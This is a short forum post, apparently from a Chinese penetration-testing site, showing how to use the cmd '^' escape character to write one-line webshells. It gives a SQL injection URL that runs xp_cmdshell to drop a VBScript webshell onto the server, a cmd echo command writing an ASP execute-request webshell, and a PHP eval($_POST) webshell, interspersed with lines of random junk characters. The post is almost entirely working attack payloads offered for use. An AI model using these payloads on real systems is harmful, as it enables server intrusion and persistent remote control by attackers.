中国网络渗透测试联盟
标题:
转义字符来写ASP(一句话木马)文件的方法
[打印本页]
作者:
admin
时间:
2012-9-15 14:52
标题:
转义字符来写ASP(一句话木马)文件的方法
用^转义字符来写ASP(一句话木马)文件的方法:
# B. ?9 S; H5 H/ j9 {
( Z2 e' d4 y7 G$ n6 Q6 _. Y
1.注入点后执行
http://192.168.1.5/display.asp?keyno=1881;exec
master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
C% j- \5 h& R) y
. g* b, b# s+ K1 M6 e
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
& Y2 i. U: S1 o, ?0 o
5 F5 x& O/ r: `9 l' ^: I$ E* B
* w# O) E0 h0 O
PHP
) p; k- ]' i% x9 [, y
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2